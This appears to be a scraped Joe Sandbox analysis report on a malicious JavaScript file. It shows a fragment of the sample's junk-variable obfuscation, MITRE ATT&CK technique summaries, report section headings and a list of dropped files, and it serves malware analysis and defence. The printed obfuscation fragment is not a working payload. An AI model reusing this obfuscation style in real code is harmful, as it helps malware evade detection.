1322	wnadbyeq = "0";
1323	brhetff = "Q";
1324	brhetff = "h";
1325	brhetff = "O";
1326	brhetff = "r";
1327	brhetff = "f";
1328	brhetff = "n";
1329	brhetff = "Y";
1330	brhetff = "P";
1331	brhetff = "P";
1332	brhetff = "F";
1333	brhetff = "N";
1334	brhetff = "s";
1335	brhetff = "W";
1336	brhetff = "L";
1337	brhetff = "U";
1338	brhetff = "y";
1339	brhetff = "F";
1340	brhetff = "z";
1341	brhetff = "g";
1342	brhetff = "V";
1343	brhetff = "n";
1344	brhetff = "c";
1345	brhetff = "M";
1346	brhetff = "y";
1347	brhetff = "f";
1348	brhetff = "J";
1349	brhetff = "S";
1350	brhetff = "z";
1351	brhetff = "D";
1352	brhetff = "w";
1353	brhetff = "V";
1354	brhetff = "c";
1355	brhetff = "B";
1356	brhetff = "l";
1357	brhetff = "n";
1358	brhetff = "X";
1359	brhetff = "J";
1360	brhetff = "k";
1361	brhetff = "D";
1362	brhetff = "C";
1363	brhetff = "g";
1364	brhetff = "U";
1365	brhetff = "N";
1366	brhetff = "G";
1367	brhetff = "e";
1368	twocac = "j";
1369	twocac = "y";
1370	twocac = "m";
1371	twocac = "V";
1372	twocac = ":";
1373	ymqcn = "X";
1374	ymqcn = "U";
1375	ymqcn = "L";
1376	ymqcn = "P";
1377	ymqcn = "h";
1378	ymqcn = "g";
1379	ymqcn = "d";
1380	ymqcn = "o";
1381	ymqcn = "H";
1382	ymqcn = "j";
1383	ymqcn = "X";
1384	ymqcn = "v";
1385	ymqcn = "n";
1386	ymqcn = "a";
1387	ymqcn = "N";
1388	ymqcn = "T";
1389	ymqcn = "q";
1390	ymqcn = "l";
1391	ymqcn = "L";
1392	ymqcn = "J";
1393	ymqcn = "V";
1394	ymqcn = "T";
1395	ymqcn = "B";
1396	ymqcn = "V";
1397	ymqcn = "o";
1398	ymqcn = "X";
1399	ymqcn = "R";
1400	ymqcn = "n";
1401	ymqcn = "e";
1402	ymqcn = "Y";
1403	ymqcn = "t";
1404	ymqcn = "U";
1405	ymqcn = "u";
1406	ymqcn = "B";
1407	ymqcn = "R";
1408	ymqcn = "b";
1409	ymqcn = "A";
1410	ymqcn = "s";
1411	ymqcn = "L";
1412	ymqcn = "q";
1413	ymqcn = "q";
1414	ymqcn = "A";
1415	ymqcn = "m";
1416	szpwyusoe = "g";
1417	szpwyusoe = "D";
1418	szpwyusoe = "Q";
1419	szpwyusoe = "u";
1420	szpwyusoe = "v";
1421	szpwyusoe = "z";
1422	szpwyusoe = "N";
1423	szpwyusoe = "c";
1424	szpwyusoe = "d";
1425	szpwyusoe = "Q";
1426	szpwyusoe = "T";
1427	szpwyusoe = "e";
1428	szpwyusoe = "b";
1429	szpwyusoe = "I";
1430	szpwyusoe = "q";
1431	szpwyusoe = "j";
1432	szpwyusoe = "H";
1433	szpwyusoe = "B";
1434	szpwyusoe = "W";
1435	szpwyusoe = "h";
1436	szpwyusoe = "P";
1437	szpwyusoe = "k";
1438	szpwyusoe = "o";
1439	szpwyusoe = "w";
1440	szpwyusoe = "v";
1441	szpwyusoe = "y";
1442	szpwyusoe = "A";
1443	szpwyusoe = "B";
1444	szpwyusoe = "3";
1445	ryjjjzmo ( );	ryjjjzmo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2808316613110627987.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\650a105f-9fd9-4df6-ac29-e249fd02152a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8f26d03d-5504-43bc-aba1-5bd314cec5b9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3cd1a4.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2808316613110627987.js